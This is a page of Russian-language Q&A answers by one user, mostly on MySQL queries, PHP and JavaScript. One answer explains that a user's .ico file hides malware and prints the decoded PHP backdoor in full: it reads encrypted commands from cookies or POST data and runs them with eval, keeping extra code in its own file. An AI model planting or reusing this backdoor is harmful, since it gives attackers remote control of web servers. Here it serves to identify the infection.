Задать вопрос
  • Как оптимизировать запрос с ORDER BY и FULLTEXT search?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    SELECT * 
      FROM `shingles` 
      WHERE MATCH (`shingle`) AGAINST ('слово' IN BOOLEAN MODE)
      ORDER BY `count` DESC
      LIMIT 5
    Ответ написан
  • Как узнать порядковый номер записи из выборки из двух таблиц?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Надо обернуть запрос ещё в один SELECT
    SET @row = 0;
    SELECT *, @row := @row + 1 AS `pos`
      FROM (
        SELECT `t1`.`id`, `t1`.`hm`, `t2`.`name`
          FROM (
            SELECT `target_id` AS `id`, SUM(`cnt`) AS `hm`
              FROM `votes`
              GROUP BY `target_id`
          ) AS `t1`
          JOIN `people` AS `t2` ON `t2`.`id` = `t1`.`id`
          ORDER BY `t1`.`hm` DESC, `t2`.`name` ASC 
          LIMIT 10
      ) AS `x`
    Ответ написан
    6 комментариев
  • Это код вируса или нет?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    А вы откройте этот .ico-файл в текстовом редакторе, там как раз зловред сидит.
    Если его расшифровать:
    @ini_set('error_log', NULL);
    @ini_set('log_errors', 0);
    @ini_set('max_execution_time', 0);
    @error_reporting(0);
    @set_time_limit(0);
    
    
    if(!defined("PHP_EOL"))
    {
        define("PHP_EOL", "\n");
    }
    
    if(!defined("DIRECTORY_SEPARATOR"))
    {
        define("DIRECTORY_SEPARATOR", "/");
    }
    
    if (!defined('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18'))
    {
        define('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18', 1);
    
        $data = NULL;
        $data_key = NULL;
    
        $GLOBALS['cs_auth'] = '58d0af46-4572-4890-a372-475116d44415';
        global $cs_auth;
    
    
        function cs_base64_decode($input) {
    
            if (strlen($input) < 4)
            {
                return "";
            }
    
            $keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
    
            $keys = str_split($keyStr);
            $keys = array_flip($keys);
    
            $i = 0;
            $output = "";
    
            $input = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $input);
    
            do {
                $enc1 = $keys[$input[$i++]];
                $enc2 = $keys[$input[$i++]];
                $enc3 = $keys[$input[$i++]];
                $enc4 = $keys[$input[$i++]];
    
                $chr1 = ($enc1 << 2) | ($enc2 >> 4);
                $chr2 = (($enc2 & 15) << 4) | ($enc3 >> 2);
                $chr3 = (($enc3 & 3) << 6) | $enc4;
                $output = $output . chr($chr1);
                if ($enc3 != 64) {
                    $output = $output . chr($chr2);
                }
                if ($enc4 != 64) {
                    $output = $output . chr($chr3);
                }
            } while ($i < strlen($input));
            return $output;
        }
    
        if (!function_exists('file_put_contents'))
        {
            function file_put_contents($n, $d, $flag = False)
            {
                $mode = $flag == 8 ? 'a' : 'w';
                $f = @fopen($n, $mode);
                if ($f === False)
                {
                    return 0;
                }
                else
                {
                    if (is_array($d)) $d = implode($d);
                    $bytes_written = fwrite($f, $d);
                    fclose($f);
                    return $bytes_written;
                }
            }
        }
    
        if (!function_exists('file_get_contents'))
        {
            function file_get_contents($filename)
            {
                $fhandle = fopen($filename, "r");
                $fcontents = fread($fhandle, filesize($filename));
                fclose($fhandle);
    
                return $fcontents;
            }
        }
        function cs_get_current_filepath()
        {
            return trim(preg_replace("/\(.*\$/", '', __FILE__));
        }
    
        function cs_decrypt_phase($data, $key)
        {
            $out_data = "";
    
            for ($i=0; $i<strlen($data);)
            {
                for ($j=0; $j<strlen($key) && $i<strlen($data); $j++, $i++)
                {
                    $out_data .= chr(ord($data[$i]) ^ ord($key[$j]));
                }
            }
    
            return $out_data;
        }
    
        function cs_decrypt($data, $key)
        {
            global $cs_auth;
    
            return cs_decrypt_phase(cs_decrypt_phase($data, $key), $cs_auth);
        }
        function cs_encrypt($data, $key)
        {
            global $cs_auth;
    
            return cs_decrypt_phase(cs_decrypt_phase($data, $cs_auth), $key);
        }
    
        function cs_get_plugin_config()
        {
            $self_content = @file_get_contents(cs_get_current_filepath());
    
            $config_pos = strpos($self_content, md5(cs_get_current_filepath()));
            if ($config_pos !== FALSE)
            {
                $config = substr($self_content, $config_pos + 32);
                $plugins = @unserialize(cs_decrypt(rawurldecode($config), md5(cs_get_current_filepath())));
            }
            else
            {
                $plugins = Array();
            }
    
            return $plugins;
        }
    
        function cs_set_plugin_config($plugins)
        {
            $config_enc = rawurlencode(cs_encrypt(@serialize($plugins), md5(cs_get_current_filepath())));
            $self_content = @file_get_contents(cs_get_current_filepath());
    
            $config_pos = strpos($self_content, md5(cs_get_current_filepath()));
            if ($config_pos !== FALSE)
            {
                $config_old = substr($self_content, $config_pos + 32);
                $self_content = str_replace($config_old, $config_enc, $self_content);
    
            }
            else
            {
                $self_content = $self_content . "\n\n//" . md5(cs_get_current_filepath()) . $config_enc;
            }
    
            @file_put_contents(cs_get_current_filepath(), $self_content);
        }
    
        function cs_plugin_add($name, $base64_data)
        {
            $plugins = cs_get_plugin_config();
    
            $plugins[$name] = cs_base64_decode($base64_data);
    
            cs_set_plugin_config($plugins);
        }
    
        function cs_plugin_rem($name)
        {
            $plugins = cs_get_plugin_config();
    
            unset($plugins[$name]);
    
            cs_set_plugin_config($plugins);
        }
    
        function cs_plugin_load($name=NULL)
        {
            foreach (cs_get_plugin_config() as $pname=>$pcontent)
            {
                if ($name)
                {
                    if (strcmp($name, $pname) == 0)
                    {
                        eval($pcontent);
                        break;
                    }
                }
                else
                {
                    eval($pcontent);
                }
            }
        }
    
        foreach ($_COOKIE as $key=>$value)
        {
            $data = $value;
            $data_key = $key;
        }
    
        if (!$data)
        {
            foreach ($_POST as $key=>$value)
            {
                $data = $value;
                $data_key = $key;
            }
        }
    
        $data = @unserialize(cs_decrypt(cs_base64_decode($data), $data_key));
    
        if (isset($data['ak']) && $cs_auth==$data['ak'])
        {
            if ($data['a'] == 'i')
            {
                $i = Array(
                    'pv' => @phpversion(),
                    'sv' => '2.0-1',
                    'ak' => $data['ak'],
                );
                echo @serialize($i);
                exit;
            }
            elseif ($data['a'] == 'e')
            {
                eval($data['d']);
            }
            elseif ($data['a'] == 'plugin')
            {
                if($data['sa'] == 'add')
                {
                    cs_plugin_add($data['p'], $data['d']);
                }
                elseif($data['sa'] == 'rem')
                {
                    cs_plugin_rem($data['p']);
                }
            }
            echo $data['ak'];
            exit();
        }
    
        cs_plugin_load();
    }

    А строка комментария в конце кода - это плагины, которые он грузит.
    Ответ написан
    Комментировать
  • Возможно ли в наше время "рабство" в ИТ?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Деловые отношения оформлены с ним через ИП.

    То есть, трудового договора нет? Тогда читайте договор, который заключили как ИП с данной организацией. Именно в нём могут быть предусмотрены санкции за односторонний разрыв договора.
    Ответ написан
    5 комментариев
  • Почему не получается подключится к БД через функцию?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Область видимости переменной $dbc ограничена функцией connect().
    Ответ написан
    1 комментарий
  • Что не так в синтаксисе mysql?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Обратные кавычки ` обозначают имена баз данных, таблиц, полей, псевдонимов и т.д. Строки обозначаются прямыми одиночными ' или двойными " кавычками.
    Ответ написан
  • Где размещать цифровую подпись в PDF (openpgp.js)?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    По стандарту PDF цифровая подпись хранится в специальной структуре в дереве самого документа.
    Библиотека TCPDF имеет метод setSignature() для добавления подписи в PDF (пример).
    Ответ написан
  • Безопасно ли так хешировать пароли?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Зачем изобретать велосипед, когда давно уже есть password_hash()
    Ответ написан
    7 комментариев
  • Почему выдает undefined внутри XMLHttpRequest?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    А куда return должен возвратить ответ, если функция срабатывает асинхронно, после прихода ответа от сервера?
    Ответ написан
    Комментировать
  • Почему Яндекс почта не понимает html теги в письме?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    По стандарту, HTML-письмо должно содержать совпадающую по тексту Plain-часть.
    То есть, если вы посмотрите исходный код письма, то в основных заголовках должно быть указано
    Content-Type: multipart/alternative;boundary=<строка-разделитель>

    Затем должно идти две части письма:
    - чистый текст с Content-type: text/plain;charset=utf-8
    - HTML-часть с Content-type: text/html;charset=utf-8
    Ответ написан
    Комментировать
  • Почему возникает ошибка при создания таблицы?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Потому что прямые кавычки (') обозначают строку, для обозначения имён таблиц и полей используются обратные (`).
    Ответ написан
    7 комментариев
  • Как отправить команду по COM/Serial port с помощю nodejs?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    'H' на конце - это всего лишь признак шестнадцатеричного значения, передавать его в Buffer.from не надо.
    Значение BCC необходимо предварительно рассчитать, взяв XOR всех байтов, входящих в команду. XX - просто обозначает расчётное значение (в данном примере должно быть 23H).
    Соответственно, строка должна выглядеть так:
    var data = Buffer.from("045002760323", "hex");
    Ну и, если полностью прочитаете описание протокола, то увидите, что после отправки команды необходимо получить от диспенсера подтверждение (ACK), ответ, и выдать ACK подтверждая получение ответа.
    Ответ написан
    4 комментария
  • Как выбрать данные из таблицы по похожим данным их массива?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Приведите базу в нормальную форму, выделите поле `dat` в отдельную таблицу `user_dats` (`user_id`, `dat`), где в каждой строке будет содержаться только одно значение из `dat` и пара (`user_id`, `dat`) образует первичный ключ.
    Затем используйте запрос
    SELECT * 
      FROM (
        SELECT `user_id`
          FROM `user_dats`
          WHERE `dat` IN (1, 2, 3, 4, 5)
          GROUP BY `user_id`
      ) AS `uid`
      JOIN `table` ON `uid`.`user_id` = `table`.`id`
    Ответ написан
  • Как проверить, входит ли работа во временной период?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    <?php
    $begin = new DateTime('09:00');
    $end = new DateTime('21:00');
    $intervals = array(
      array(new DateTime('10:00'), new DateTime('10:15')),
      array(new DateTime('10:15'), new DateTime('11:45')),
      array(new DateTime('12:30'), new DateTime('16:00'))
    );
    $time = 90;
    
    function checkInterval($begin, $end, $time) {
      $intervalDiff = $begin->diff($end);
      $intervalMinutes = $intervalDiff->h * 60 + $intervalDiff->i;
      if ($intervalMinutes >= $time) {
        echo $begin->format('H:i'), ' - ', $end->format('H:i'), "\n";
      }
    }
    
    $intervalStart = $begin;
    foreach ($intervals as $interval) {
      checkInterval($intervalStart, $interval[0], $time);
      $intervalStart = $interval[1];
    }
    checkInterval($intervalStart, $end, $time);
    Ответ написан
    1 комментарий
  • В чем может быть проблема php notice: Use of undefined constant string - assumed 'string' in?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Скорее всего, ошибка не в этой функции, а в файле класса, экземпляр которого создаётся через new.
    Ответ написан
    Комментировать
  • Почему не работает код (c)?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Потому что у вас в условиях не сравнения (==), а присвоения (=).
    Используйте стиль Йоды.
    Ответ написан
    Комментировать
  • Как лучше хранить и добавлять порядковый номер в таблице?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Полностью блокировать таблицу до окончания записи.
    LOCK TABLES `deals` FOR WRITE;
    ...
    UNLOCK TABLES;

    Никакой другой поток не получит доступа к таблице до её разблокировки.
    Ответ написан
  • Как проверить существуют ли записи в БД MySql?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Если надо не только добавлять, но и удалять:
    Сначала пометить все строки как неизменённые
    UPDATE `table` SET `updated` = 0;
    Затем добавить все записи
    INSERT INTO `table` (..., `updated`) 
      VALUES (..., 1) 
      ON DUPLICATE KEY UPDATE `updated` = 1;
    В конце удалить строки, оставшиеся неизменёнными
    DELETE FROM `table` WHERE `updated` = 0;
    Ответ написан
    1 комментарий
  • Как найти похожие записи в бд?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Делать JOIN таблицы с ней же по условию "похожести".
    Ответ написан
    Комментировать
  • Как решить данную задачу (Олимпиадная)?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Поскольку в запросах используется только равенство, то изначально не разделять свойства товаров по символу =.
    Подготовить массив, где каждой паре 'свойство=значение' будет соответствовать массив со списком товаров.
    [
      'width=5' => [0, 3],
      'ht=3' => [0, 3],
      'len=10' => [0],
      'name=circ' => [1, 2],
      'rad=5' => [1, 2].
      'name=sqr' => [3]
    ]

    Затем по списку свойств в запросе выбирать массивы, если их больше одного, то находить их пересечение через array_intersect и выдавать размер полученного пересечения.
    array_intersect([0, 3], [0, 3]) = [0, 3]
    [1, 2]
    [3]
    array_intersect([0, 3], [0]) = [0]
    Ответ написан